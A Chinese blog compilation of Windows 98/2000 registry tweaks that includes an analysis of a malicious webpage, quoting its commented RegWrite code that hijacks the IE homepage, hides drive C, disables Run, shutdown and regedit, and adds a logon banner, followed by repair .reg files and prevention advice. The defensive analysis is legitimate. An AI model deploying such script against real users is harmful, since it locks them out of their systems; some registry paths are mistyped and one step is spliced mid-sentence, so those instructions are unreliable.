[实用资料系列]注册表技术大全「五注册表优化全攻略」

 
防止匿名用户登录
虽然“Windows 98”可以为每个用户定制各自的使用界面并指定口令,但任何人都能通过点击登录窗口中的“取消”或按“ESC”键进入系统,即所谓匿名登录。下述方法可以防止匿名用户登录:
在HKEY_LOCAL_MACHINE /NetWork/Logon下新建“DWORD”类型“MustBeValidated”,其值为1。
(附:如果自己都进不去了,可以以安全模式进入,然后将其值改为0。)
右击“开始”菜单关闭计算机
关闭机器是日常使用频率最高的操作之一,下面的设置可以简化关机过程:
打开HKEY_CLASSES_ROOT/Directory/shell,选择“编辑/新建主键”,命名为“Close”,双击“Close”子键窗口右面的“默认”处并在“键值”栏内输入“关闭计算机”,它就是在右键快捷菜单中出现的提示信息,如省略此项将在右键菜单中显示主键名称“Close”,用&隔开可定义快捷键,然后再在“Close”下建立下一级子键“Command”,双击该子键窗口右面的“默认”处并在“键值”栏内输入“RUNDLL32.EXE USER.EXE,EXITWINDOWS”字符串。不用重启系统,直接右击“开始”菜单选“关闭计算机”就可关闭您的机器。
重排输入法
依次展开HKEY_CURRENT_USER/Keyboard layout/Preload,在其下可以见到键名从数字 “1”开始依次递增的多个子键名称,具体子键个数与系统已安装的输入法种数相一一对应。现假如要将子键名为“2”所对应的输入法与子键名为“5”所对应的输入法互换,即将子键名“5”所对应的输入法前移至第二位,方法如下:右击子键“2”选“重命名”将子键“2”改名为“22”或其它不存在之名称,接着将子键“5”重命名为“2”,最后将子键“22”改名为“5”。您可以将所有输入法按自已的需要重新排序。
屏蔽“开始”菜单中的“运行”、“查找”、“关闭系统”功能
在HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer 中新建三个“DWORD”值,名称分别为“NoRun”(屏蔽“运行”)、“NoFind”(屏蔽“查找”)、“NoClose”(屏蔽“关闭系统”),其值均设置为“1”,重启系统后执行“运行”与“关闭系统”命令时提示操作受限制而取消,同时你会发现“开始”菜单中的“查找”选项没有了,要重新恢复其设置,可将对应的键删除或将键值置“0”即可。
隐藏桌面所有图标
找到子键HKEY_CURRENT_USER/Software/Microsoft/ Windows/CurrentVersion/Policies/Explorer ,新建“DWORD”值“NoDesktop”,其值为“1”。重启系统后,你会发现桌面已变得空荡荡一片。
快速打开文件编辑
也许你经常使用某个程序来打开文件进行编辑,而这些文件的扩展名是随意的,为了方便我们可以将这个程序加入到右键菜单中去。以写字板为例:在 HKEY_CLASSES_ROOT/* 下新建“shell”子键,在其下新建“wordpad”子键,双击该键右面窗口的“默认”处并在“键值”栏内输入“写字板”,接着在“wordpad”子键下建立下一级子键“command”,在“默认”的“键值”栏内输入“c:/program files/accessories/wordpad.exe %1”。不用重启系统,现在回到“我的电脑”或“资源管理器”中右键单击任意文件(当然是写字板能加载的,不管关联与否),选“写字板”即可快速打开文件进行编辑了。
快速清空回收站
当我们的机器由于硬盘空间已满而必须清空回收站时,我们可以将“清空回收站”加入到文件的右键菜单中以方便操作:运行注册表编辑器,进入 HKEY_CLASSES_ROOT/*/shellex/ ContextMenuHandlers ,在左栏中右击“ContextMenuHandlers”文件夹图标,然后选择“新建 / 主键”,将新文件夹的名称由 “New Key #1”一字不差地改为:“{645FF040-5081-101B-9 F08-00AA002F954E}”,然后回车确认即可。这样,当您在任何地方右击选择某个文件时,菜单中就会出现“清空回收站”的选项。
用修改注册表的方法来解决中文Windows 98中汉字显示乱码
笔者曾遇到过这样的问题:在 Windows 98 的操作桌面上汉字能正常显示,但进入应用程序后,一些汉字就成了乱码。经过反复摸索找到了通过修改注册表解决的方法:展开我的电脑 /HKEY_LOCAL_MACHINE/Systom/CurrentrolSet /Control/fontassoc发现该机上只有 “Associated DefaultFonts”子关键字,其下也只有默认值和“AssocSystemFont”两个入口值,没有“Associated CharSet”子关键字。通过“注册表编辑器/菜单编缉/新建/主键”,来增加“Associated CharSet”子关键字。用鼠标点取“Associated DefaultFonts”关键字,选取菜单中的“编辑/新建/串值”,则编辑器右边出现输入框,在此框中输入 “FontPackageDontCare”,再在其前面的图标上双击,出现“编辑字符串”对话框,在键值栏中输入“宋体”,按确定即可。用同样的方法加入以下几行:
FontPackageRoman= 宋体
FontPackageSwiss= 宋体
FontPackageModern= 宋体
FontPackageScript= 宋体
FontPackageDecorative= 宋体
点取 Associated CharSet 关键字,选取编辑/新建/串值,按以上方法加入以下几行: ANSI(00)=yes
OEM(FF)=yes
GB2312(86)=yes
SYMBOL(02)=no
(上面等式的左边为键值名,右为键值) 。
做完上述修改后,关闭注册表编辑器,重新启动计算机,发现一切正常。
处理无法卸掉的应用程序
我们有时会碰到这样的情况:在控制面板的 "添加/删除应用程序" 中卸载某个应用程序之后,却发现该程序还是在列表中。这时可用下述方法将其从列表中删去:
打开注册表编辑器,进入目录“HKEY_LOCAL_MACHINE/SOFTWARE /Microsoft/Windows/CurrentVersion/Uninstall”,根据所列出的注册文件删去与该应用对应的项即可。
把WORD插入对象的名称改成汉字
在WORD的“菜单插入/对象”中的一个个英文名称往往令人难以适应,我们可以用个简单的方法把它改成汉字:在注册表编辑器中,将 HKEY_CLASSES_ROOT/Euation 3.0 右窗口键的“默认”值由“Microsoft Equation 3.0”改为“公式编辑器3.0”,然后关闭注册表编辑器,再打开“WORD”,就会发现它已变成“公式编辑器3.0”。
去除注册表中的废弃信息
随着用户大量增删各种应用程序和硬件设备驱动程序,注册表中废弃的数据会越来越多,注册表文件也越来越大,这对 “WINDOWS 98”的运行速度有很大的影响,为了去除掉废弃信息,笔者采用了重建注册表的方法。
首先在“运行”窗口中调用注册表编辑器,从注册表菜单中导出整个注册表,将其存为“www.reg”;然后重启到“DOS命令行方式”,接着按照下面的命令行运行“DOS”版的“REGEDIT”:“regedit/c www.reg
参数“/C”表示从后面指定的文件中重新生成整个注册表,重建的注册表文件往往比原来的小五分之一到三分之一左右,从而达到了优化的目的。重建注册表时必须注意要确保“www.reg”中包含全部注册表信息而不仅是它的一个。
提高 Windows 98 刷新的速度
当用户在“Windows 资源管理器”中增加或者删除了一个文件夹后,虽可通过按“F5”键查看最新刷新的结果。但是,每次这样做势必十分麻烦。其实通过修改注册表可以使这种刷新达到完全自动化。具体方法是:打开 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control /Update 分支,在“Update”子键中包含一个“UpdateMode”键值名,其键值为“01”,双击“UpdateMode”,将“01”改为“00”即可。
更改 IE5.0 的安全口令
您可以在 IE5.0 的“Internet 选项”对话框的“内容”选项页的“分级审查”框中设置口令,这样,在显示有“ActiveX”的页面时,总会出现“分级审查不允许查看”的提示信息,然后弹出口令对话框,要求您输入监护人口令。如果口令不对,则将停止浏览。但是,如果此口令遗忘了,则无法浏览这些特征的页面。在口令遗忘后,重装IE5.0 也无法去掉安全口令。这时只有求助于注册表了:打开 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies 分支,在 "Policies" 子键下选择“Ratings”子键,按“Del”键将其删除,由于“Ratings”子键下的“Key”键值数据就是经过加密后的口令,删除了这一项,IE5.0 自然就认为您没有设置口令了。
删除“开始”菜单中的“文档”菜单项
我们知道,“开始”菜单中的“文档”菜单项记录了所有曾打开的文档。但是,在多人使用的机器中,为了保密起见,用户自己很不希望其他用户看到自己曾经编辑过的文档或其他信息。我们可以通过修改注册表编辑器来删除它们:打开 HKEY_CURRENT_USER/Software/Microsoft/Windows/ CurrentVersion/Policies/Explorer ,在右窗格中,用鼠标右击任意空白区域,然后从快捷菜单中选择“新建”中的“二进制值”,将“New Value#1”换名为“NoRecentDocsHistory”,接着右击 “NoRecentDocsHistory”项,选择从快捷菜单中选择“修改”,然后在“键值”框中,键入“01000000”,最后单击“确定”按钮。在重启系统后,您会看到不仅“开始”菜单中的“文档”菜单项被删除掉了,而且用来存放“文档”菜单项内容的 “C:/Windows/Recent”目录也被删除掉了。
改变时间的显示格式
在通常情况下,“Windows 98”在任务栏中使用“23:12”的时间格式来显示时间,但是您可以通过修改注册表编辑器来更改此时间格式,其操作步骤如下:打开 HKEY_CURRENT_USER/ControlPanel/International 分支,在右窗格的空白处右击鼠标,从弹出的快捷菜单中选择 "字符串值",然后将 "New Value#1" 修改为 "sTimeFormat" 。双击 "sTimeFormat" 项,然后在如图16所示的对话框中将其 "键值" 修改为 "HHmm"。重启计算机后,则您将看到在任务栏中显示的时间会显示为 "2312" 形式了。
改变 Word 文档的日期显示方式
当我们在 "Word" 文档中插入日期页眉或者页脚时,其日期的显示格式一般为:"MM/DD/YY"。但是,这不符合中国用户的显示习惯。我们希望将 "12/09/98" 改为 "1998/9/12" ,则通过修改注册表可以改变这种日期的显示方式,其操作步骤如下:
打开 HKEY_CURRENT_USER/Software/Microsoft/Office/8.0/ Word/Options 在右窗口中, 用鼠标右击任意空白区域,然后从快捷菜单中选择 "新建" 中的 "字符串值",接着将 "New Value#1" 换名为 "DateFormat"。然后右击 "DateFormat" 项,选择从快捷菜单中选择 "修改",然后在 "键值" 框中,键入 "yyyy.MM.DD",最后单击 "确定"。这样,在下次在 "Word" 中插入日期时,一定就是您所希望的 "1998.09.12"的格式了。
将"拨号网络"添加"开始"菜单中
在" Strat Menu "文件夹中新建名为: Dun.{992CFFA0-F557-101A-88EC-00DD010CCC48} 的文件夹,然后重启计算机即可。
以略图方式在"资源管理器"或者"文件夹"窗口中显示 BMP 图像
在 "Windows 98" 中有很多 "BMP图像",为了选择某个所需要的 "BMP图像",通常不得不打开这些图像来查找。实际上,我们可以让它们直接在窗口中显示为略图,此时我们必须修改注册表来实现此目的。其修改步骤如下:
打开 HKEY_CLASSES_ROOT/Paint.Picture/DefaultIcon ,双击右窗格中的 "默认" 图标,将键值的参数 "1" 改为 "%1"。单击 "确定",重启计算机完成。
删除查找结果中的文件列表
使用"查找"功能可以很快地查找到所需要的文件,同时在"查找"对话框下半部给出这些文件列表。
要想删除它们可以打开 HKEY_CURRENT_USER/.Default/SoftWare /Microsoft/Windows/CurrentVersion/Explorer /DocFind SpecMRU ,在右窗格中除第一、二和最后一个不能删除外,将其它删除即可
在"我的电脑"中屏蔽磁盘驱动器图标
在多用户的操作环境中,您可以为不同用户设置不同的磁盘驱动器图标,这样可以限制各种用户的操作权限。
打开 HKEY-CURRENT-USER/Software/Microsoft/Windows/ CurrentVersion/Policies/ Explorer 分支,在此分支下 NoDrives 键值名为给不同用户设置不同的磁盘驱动器图标提供了方便,其缺省键值是 0x00000000 。 NoDrives 键值为四个字节,每个字节的每一位就对应于一个盘符(A:~ Z:),即第一个字节代表了从 A:到 H: 的八个盘,即 01 为 A:、 02 为 B:、 04 为 C:..., 80 为 H:。依此类推,第二个字节代表 I:到 P:;第三个字节代表 Q:到 X:;第四个字节代表 Y:和 Z:。因此,当相应位为 1 时,则在打开 "我的电脑",就再也看不到对应的盘了。例如,我们要关闭 C:盘,只需右击 NoDrives 键值名,然后从快捷菜单中选"修改",将其键值改为 04000000 ;若要关闭 D:盘,就此键值改为 08000000 ;若要关闭 C:和 D:,就将此键值改为 0C000000 。
一些英文软件在中文 Windows 98 下显示出乱
打开 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control /fontassoc/Associated CharSet 分支,将 GB2312(86) 的机内码改为 "no"(原为 "yes"), 重新启动 Windows 98 后就显示正常

通过修改注册表来更改文件图标
原先我的计算机中 JPG 文件是和 ACDSee 32 关联的, JPG 文件的图标也是 ACDSee 32 中所默认的图标类型。后来由于又安装了 PHOTOSHOP , JPG 文件又与 PHOTOSHOP 建立了关联。当我卸载 PHOTOSHOP 之后, JPG 文件的图标就变成了白底上一个视窗,非常难看。 虽然笔者想方设法使 JPG 文件又和 ACDSee 32 建立了关联,但是 JPG 文件的图标却还是原来的样子。笔者试图重编辑 JPG 文件的图标,但从"已注册的文件类型"中却怎么也找不到后缀为 JPG 的文件类型,如果选择建立后缀为 JPG 的 "新类型",则屏幕上会提示 "JPG 扩展名已经被 PHOTOSHOP JPG File 文件类型使用,请选择另一个扩展名",真是气人。笔者突然想起通过修改 Windows 98 中的注册表编辑器也许能解决这个问题,于是运行 Regedit ,在 HKEY - CLASSES - ROOT 下有许多个名称为" . ***"的主键,根据直觉,这些主键和 Windows 98 中已注册的文件类型的后缀名存在一一对应的关系,于是找到名为" .JPG "的主键,删掉它之后,再从资源管理器中的查看--选项--文件类型--新类型中建立后缀为 JPG 的文件类型,嘿嘿,这次屏幕上再也没有给出"请选择另一个扩展名"的提示了。建立 JPG 文件类型后,选择由 ACDSee 32 打开它,并在 "更改图标" 中将图标位置选择为 "C: /Program Files/Acdsee32.exe",即可从 ACDSee 32 所提供的图标中选择一种来替代 Windows 98 默认的那种难看的图标。作者撰写这篇短文,是希望给那些遇到类似问题的朋友们一点帮助,如果那位高手有更好的方法解决此类问题,还望不吝赐教。
禁止他人使用你的 Windows 98
大家都知道,在 Windows 98 中通过控制面板设置口令以后,每次启动要求输入口令时,我们只要单击 "取消" 按钮,或按 ESC ,绕过密码询问便能进入 Windows 98 ,口令如同虚设。那么有没有办法可以阻止他人使用你的 Windows 98 呢 ? 其实,我们只要对 Windows 98 的注册表稍加修改便能达到以上目的。有关设置步骤如下:
(1)点击"开始" 很多人由于浏览了恶意网站从而导致注册表被锁,相关报刊介绍了各种各样的处理方法,例如通过编辑注册表文件或用超级兔子等工具来进行修改等等。但是如果你手头一时无此类工具,又记不住注册表文件的内容,该怎么办呢?其实,你完全可以利用微软在系统安装光盘中所提供的另一款利器——系统策略编辑器(Poledit),轻松地解决这个问题。不仅如此,你还可以利用系统策略编辑器来实现一些只有通过修改注册表才能实现的功能。
  我们以在Windows 9x操作系统下的使用为例来介绍。首先将安装光盘中Tools/Reskit/Netamin/Poledit文件夹中的所有文件复制到硬盘中,然后双击Poledit.exe运行系统策略编辑器(如果提示找不到模板文件,可以从系统策略编辑器的“选项”菜单中选择“模板”,然后单击“打开模板”,再选择Admin.adm文件即可)。在“文件”菜单中选择“打开注册表”,此时你就会发现下面原来空白的面板中多了两个图标:一个是“本地计算机”,一个是“本地用户”。
  我们要用的主要是“本地用户”(“本地计算机”里面主要是网络和系统方面的设置,有兴趣的读者可以自己去试试)。双击“本地用户”,会弹出“本地用户属性”界面,在该界面中可看到一个树形目录,包括“控制面板”、“桌面”、“网络”、“外壳”和“系统”5项。
  下面我们就来体验一下系统策略编辑器的威力吧!对于上面提及的注册表被锁的例子,现在我们只要选择“系统→限制”选项,就可以看到4个选项。如果你的注册表被锁,则“禁用注册表编辑器”前的复选框被选中。取消对该选项的选取,按“确定”退回主界面。别急,这时工作还没完成呢!选择“文件→保存”,你所做的修改才能生效。然后试试运行Regedit,是不是可以用了呢?其实在这5个基本目录中你还可以实现很多常用的个性化设置,这里就不多谈了,留给读者朋友自己去慢慢发现吧。
  提示:在Windows 2000/XP/2003中,我们可以通过单击“开始→运行”,输入“Gpedit.msc”后回车,打开“组策略”。然后依次展开“用户配置→管理模板→系统”,双击右侧窗口中的“阻止访问注册表编辑工具”,在弹出的窗口中选择“已禁用”,“确定”后再退出“组策略”,即可为注册表解锁。

其它方法:
方法1   
   1〉新建一个文本文档,在其中输入:
REGEDIT4
/*空一行*/
[HKEY-CURRENT-USER/Software/Microsoft/Windows/Current Version/Policies/system]
"DisableRegistryTools"=dword:00000000
    2>另存为   名称;"*.reg",保存类型为“所有文件”。
    3>导入REG文件,开始/运行/cmd,执行
      A:/>regedit */**/*.reg(文件路径)
      接着画面上就会出现“你确定要增加*.reg信息到注册表”,点确定,导入同时也解除了锁定。

方法2 用病毒防火墙。
   例金山防火墙文件名为:watcher.exe,把它跟注册表编辑器(c:/windows/regedit.exe)相互交换  名称  位置 ,这样在加载防火墙时,实际加载的是注册表编辑器。
   再任意右击一个文件夹,点击“用金山毒霸查毒”,再点击“病毒防火墙”。就能看到regedit.exe 打开了。立即到 HKEY-CURRENT-USER/software/Microsoft/Windows/Current Version/Policies/system目录下把“Disableregestrytools”键值改为“0”,或删除即可。
   这样就完成对注册表的解锁。要记得在重启机子后把上面的两个文件改回来,以免影响到正常使用。
浏览网页会被修改注册表?千真万确!如果你去浏览过下面的网页: http://www.findfeel.com/default.htm ,你真有生不如死的感觉!
进入该网页会被:
  1.修改开始菜单
  1)禁止“关闭系统”
  2)禁止“运行”
  3)禁止“注销”
  2.隐藏C盘——你的C盘找不到了
  3.禁止使用注册表编辑器regedit
  4.禁止使用DOS程序
  5.使系统无法进入“实模式”
  6.禁止运行任何程序
  7.将IE浏览器的首页改为 http://www.findfeel.com/,收藏夹中也被加入该网址。
  那么这些功能恐怖的功能是如何实现的呢?原来,该网页是有人利用Java技术制作的含有有害代码的ActiveX网页文件。为让更多的人了解其危害,我查看了其源代码,将其主要部分列了出来,并加了详细的注释(文中有“注”字的部分是我加的注释)。
注:下面代码是将你的IE默认连接首页改为 http://www.findfeel.com/
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//
Start Page", " http://www.findfeel.com/");
注:以下是该网页修改受害者的注册表项所用的招数
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion
[url=file:Policies//Explorer//NoRun]//Policies//Explorer//NoRun[/url]", 01, "REG_BINARY");
注:使受害者系统没有“运行”项,这样用户就不能通过注册表编辑器来修改该有害网页对系统注册表的修改。
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//
Policies//Explorer//NoClose", 01, "REG_BINARY");
注:使受害者系统没有“关闭系统”项
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//
Policies//Explorer//NoLogOff", 01, "REG_BINARY");
注:使受害者系统没有“注销”项
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//
Policies//Explorer//NoDrives", "00000004", "REG_DWORD");
注:使受害者系统没有逻辑驱动器C
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//
Policies//WinOldApp// Disabled","REG_BINARY");
注:禁止运行所有的DOS应用程序;
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//
Policies/ /WinOldApp//NoRealMode","REG_BINARY");
注:使系统不能启动到“实模式”(传统的DOS模式)下;
又注:进入该网页,它还会修改以下的注册表项,使WINDOWS系统登录时显示一个登录窗口(在MicroSoft网络用户登录之前)
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//
Winlogon//LegalNoticeCaption", "呜啦啦...");
注:这些代码会使窗口的标题是“呜啦啦…”
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//
Winlogon//LegalNoticeText", "欢迎你!你这个超级无敌大白痴!《呜啦啦...》故事开始了,按确定进入悲惨世界");
注:上面一行是会在窗口中显示出来的文字
注:下面两行代码修改注册表,使受害者所有的IE窗口都加上以下的标题:“呜啦啦…”
Shl.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//
Window Title", "呜啦啦...");
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//
Window Title", "呜啦啦...");
注:到上面一行为止,完成了对受害者的注册表的所有修改!
注:下面代码用来将其网页增加到受害者的收藏夹中
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "[url=file:Favorites]//Favorites[/url]";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "[url=file:Documents]//Documents[/url] and Settings//
" + Net.UserName + "[url=file:Favorites]//Favorites[/url]";
if(!FSO.FolderExists(loc))
{
return;
}
}
注:下面就是使其网页加入到你的收藏夹的具体代码
AddFavLnk(loc, "找到感觉 www.findfeel.com", " http://www.findfeel.com");
  由于代码很简单,又加了注释,相信你已经看明白是怎么回事了。那么如果不小心进入该网页,并且已经中招了该怎么办呢?别急,下面给你列出了解决的办法。
受害用户的修复方法:
  1:对于Win9x用户,建议在电脑启动时按F8键,选择到MS-DOS方式下,使用Scanreg/restore命令来恢复以前备份的、正常的注册表。
  2:对于Win2000用户,把以下内容copy下来,存为unlock.reg文件,选带命令行的安全模式,用命令regedit unlock.reg导入,如何重启机器就OK了。
unlock.reg文件内容如下:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/Explorer]
"NoDriveTypeAutoRun"=dword:00000095
"NoRun"=hex:
"NoLogOff"=hex:
"NoDrives"=dword:00000000
"RestrictRun"=dword:00000000
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/System]
"DisableRegistryTools"=dword:00000000
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/System]
"DisableRegistryTools"=dword:00000000
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/WinOldApp]
"Disabled"=dword:00000000
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/WinOldApp]
"NoRealMode"=dword:00000000
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/
Winlogon]
"LegalNoticeCaption"=""
"LegalNoticeText"=""
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Main]
"Window Title"="IE浏览器"
[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main]
"Window Title"="IE浏览器"
预防办法:
  1.要避免中招,关键是不要轻易去一些自己并不了解的站点。
  2.在IE设置中将ActiveX插件和控件、Java脚本等全部禁止
  3.可以通过升级到最新的病毒库,来预防该类恶意网页的侵害。
  4.既然该网页是通过修改注册表来破坏我们的系统,那么我们可以事先把注册表加锁:禁止修改注册表,这样就可以达到预防的目的。不过,自己要使用注册表编辑器regedit.exe该怎么办呢?因此我们还要在此前事先准备一把“钥匙”,以便打开这把“锁”!
  加锁方法如下:
  (1)运行注册表编辑器regedit.exe;
  (2)展开注册表到HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/System下,新建一个名为DisableRegistryTools的DWORD值,并将其值改为“1”,即可禁止使用注册表编辑器regedit.exe。
  解锁方法如下:
  用记事本编辑一个任意名字的.reg文件,比如unlock.reg,内容如下:
REGEDIT4
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/System]
"DisableRegistryTools"=dword:00000000
  存盘。你就有了一把解锁的钥匙了!如果要使用注册表编辑器,则双击unlock.reg即可。要注意的是,在“REGEDIT4”后面一定要空一行,并且“REGEDIT4”中的“4”和“T”之间一定不能有空格,否则将前功尽弃!
说明:对于“万花谷”网页的恶意代码带来的破坏,也可按上面所提的方法来预防,中招后也可参考上面的方法解决。另,KV3000对“万花谷”可完全恢复,对本文介绍的网页破坏系统现象,则无法安全恢复。
实用宝典:IE首页被篡改的解决办法
IE是电脑用户最常使用的网页浏览器,但正因为普及率高,其也成为了最容易受到黑客、病毒以及流氓软件攻击的对象。最常见的IE首页被篡改的现象是默认页被修改成了自己不熟悉的主页网址,每当用户开启IE浏览器时,这个主页就会主动跳出来。
  三大处方
  方法一:修改IE工具栏
  在正常情况下,IE首页的修改可以通过IE工具栏里的“工具”-“Internet选项”-“常规”-“主页”功能模块来实现。
  在弹出的窗口里,用户只要在“可更改主页”的地址栏中输入自己经常使用的网址然后再点击下面的“使用当前页”按钮就可以将其设为自己的IE首页了;如果是点击了“使用默认页”则一般会使IE首页调整为微软中国公司的主页;至于“使用空白页”选项则是让IE首页显示为“blank”字样的空白页,便于用户输入网址。
  方法二:修改注册表
  但是,很多情况下,由于受了恶意程序的控制,进入“IE工具栏”也无法再把其改回来。有时候,“可更改主页”的地址栏也变成了灰色,无法再进行调整;有时候,即使你把网址改回来了,再开启IE浏览器,那个恶意网址又跑回来了。
  这种情况下我们应该怎么办呢?最通常的办法是找到相应的注册表文件,把它改回来。
  以IE首页的注册表文件修改为例,我们首先要启动Windows的注册表编辑器,具体方法是点击Windows界面左下角的“开始”按钮,再选择“运行”,在弹出的对话框中输入“regedit”就可以进入注册表编辑器了。
  IE首页的注册表文件是放在HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/Start Page下的,而这个子键的键值就是IE首页的网址。以笔者的电脑为例,键值是 http://www.sina.com.cn,它是可以修改的,用户可以改为自己常用的网址,或是改为“about:blank”,即空白页。这样,你重启IE就可以看到效果了。
  如果这种方法也不能奏效,那就是因为一些病毒或是流氓软件在你的电脑里面安装了一个自运行程序,就算你通过修改注册表恢复了IE首页,但是你一重新启动电脑,这个程序就会自动运行再次篡改。
  这时候,我们需要对注册表文件进行更多的修改,运行“regedit”,然后依次展开HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Run主键,然后将其下的registry.exe子键删除,然后删除自运行程序c:/Program Files/registry.exe,最后从IE选项中重新设置起始页就好了。
  除了上面的情况外,有些IE被改了起始页后,即使设置了“使用默认页”仍然无效,这是因为IE起始页的默认页也被篡改啦。对于这种情况,我们同样可以通过修改注册表来解决,运行“regedit”展开HKEY_LOCAL_MACHINE/Software/Microsoft/Internet Explorer/Main/Default_Page_URL子键,然后将“Default_Page_UR”子键的键值中的那些篡改网站的网址改掉就好了,或者设置为IE的默认值。
  方法三:使用IE修复软件
  虽然修改注册表的方法十分有效,但是对于一般的电脑用户来说较为专业,而且编辑过程中也涉及到了比较多的英语。因此,我们在这里介绍大家使用一些专门的修复工具。
  一般来说,IE修复工具有两大类。一是商业机构提供的辅助性工具,如瑞星注册表修复工具、3721的上网助手中附带的IE修复专家、超级兔子中的IE修复工具等等,这些软件大多捆绑在商业软件或是工具软件中,有些还需要付费才能够使用。其特点是,功能强大,建议经济实力较强的用户使用。
  其中瑞星的注册表修复工具是可以免费单独下载的,尤其推荐大家使用,其下载网址是 http://it.rising.com.cn/service/technology/RegClean_download.htm。具体的使用办法可以参考这些软件的帮助文件。
  另外一类IE修复软件则主要是技术实力比较强的网友自行编写的,其使用效果和瑞星、IE修复专家、超级兔子等相似,但是需要大家自己搜索下载。
  这里向大家推荐两款:一款是IE浏览器修复工具,其下载地址是 http://down.tiansha.net/crskypath2/tiansha.net-iefixcr.rar。这个软件的最大特点是功能齐全、界面简洁,而且是个绿色软件,不用安装。另一款是首页绑架克星-HijackThis,其下载地址是 http://cq-http.okget.com/HijackThis.zip。它能够将绑架您浏览器的程序揪出来,并且将之删除。不过这个程序是用Visual Basic语言编写的,大家在使用它之前要先安装VB的语言库,相对麻烦一些。
  特别提醒
  如今,电脑病毒与流氓软件猖獗,用户要保护自己的IE首页不被修改,最好的办法还是防范于未然。因此,这里要提醒用户给自己的电脑安装杀毒软件。而且,尽量使用正版的杀毒软件和防火墙工具,因为从网上下载的盗版软件是无法升级的,很快就会对不断推陈出新的病毒束手无策。
详述防止IE被恶意修改的小技巧
修改IE的标题栏:即在IE浏览器最上方的蓝色横条里做广告,而不是显示默认的“Microsoft Internet Explorer”。这种修改非常常见,有人也特意针对它编制了反修改的程序。
  注册表位置
  HKEY_LOCAL_MACHINE/Software/Microsoft/Internet Explorer/Main HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main在注册表中找到以上两处主键,将其下的“Window Title”主键删除,并关闭所有打开的IE浏览器窗口再重新打开就能看到效果。
  修改IE的首页
  这个改回来很方便,在IE的设置里就有(Internet选项->常规->主页)。比较麻烦的是某些网页在浏览者的硬盘里写入程序,使重启计算机后首页设置又被改了回去,这时可使用“系统配置实用程序”来解决。开始—运行,键入msconfig点击“确定”,在弹出的窗口中切换到“启动”选项卡,禁用可疑的程序启动项。
  在Windows启动时显示一个窗口,点确定才能进去 这个设置其实与IE无关,而是Windows的登录提示窗口,不过最近有些网页对它动上了脑筋,在这个窗口里做广告。
  注册表 HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Winlogon在注册表中找到此主键,将其下的“LegalNoticeCaption”和“LegalNoticeText”主键删除即可。
  在IE里点击鼠标右键。在弹出的菜单里显示网页广告 这种情况很少见,不过解决方法也不复杂。
  注册表 HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/MenuExt在IE中显示的附加右键菜单都在这里设置,常见的网络蚂蚁和网际快车点击右键下载的信息也存放在这里,只需找到显示广告的主键条目删除即可。
  禁止或允许用户修改IE首页:
  运行注册表编辑器(开始菜单-运行-regedit-确定), 打开HKEY_CURRENT_USER/Software/Policies/Microsoft/Internet Explorer/Control Panel, 其实一般此键是不存在的, 只存在 HKEY_CURRENT_USER/Software/Policies/Microsoft, 所以后面一截你要自己建立, 主键建立完后在Control Panel键下新建一个DWORD值数据, 键名为HOMEPAGE(不分大小写), 键值为1. 此时你打开IE属性时可以发现它改首页设置的部分已经不可用了. 当然如果你想先指定主页的话可以把HOMEPAGE的值改为0或删除它, 然后修改主页设置, 再把HOMEPAGE改回来即可
  去掉注册表编辑器被锁定问题
  win2000系统
  Windows Registry Editor Version 5.00 [Hkey_current_user/Software/microsoft/windows/currentversion/Policies/system] "DisableRegistryTools"=dword:00000000
  win98/me系统
  REGEDIT4 [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/System] "DisableRegistryTools"=dword:00000000
  将以上代码copy到记事本中,然后将这个文件的名字改为*.reg双击运行可以解除你的锁定状态.
  防范
  1.因为修改注册表设置都是用的JavaScript脚本语言,所以只需禁用它即可。但这种脚本语言应用广泛,所以建议在IE的设置中将脚本设为“提示”。
  2.建议使用一些单窗口多页面的浏览器如NetCaptor,myie等,因为它们往往能更方便地切换脚本设置,象我常用的NetCaptor,用工具栏中的“安全”按钮能很方便地设置脚本、ActiveX和Cookie的启用情况。
  3.使用Win2000的朋友,只需在“控制面板”—“管理工具”—“服务”中禁用Remote Registry Service服务,也无法通过浏览网页来修改你的注册表了。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
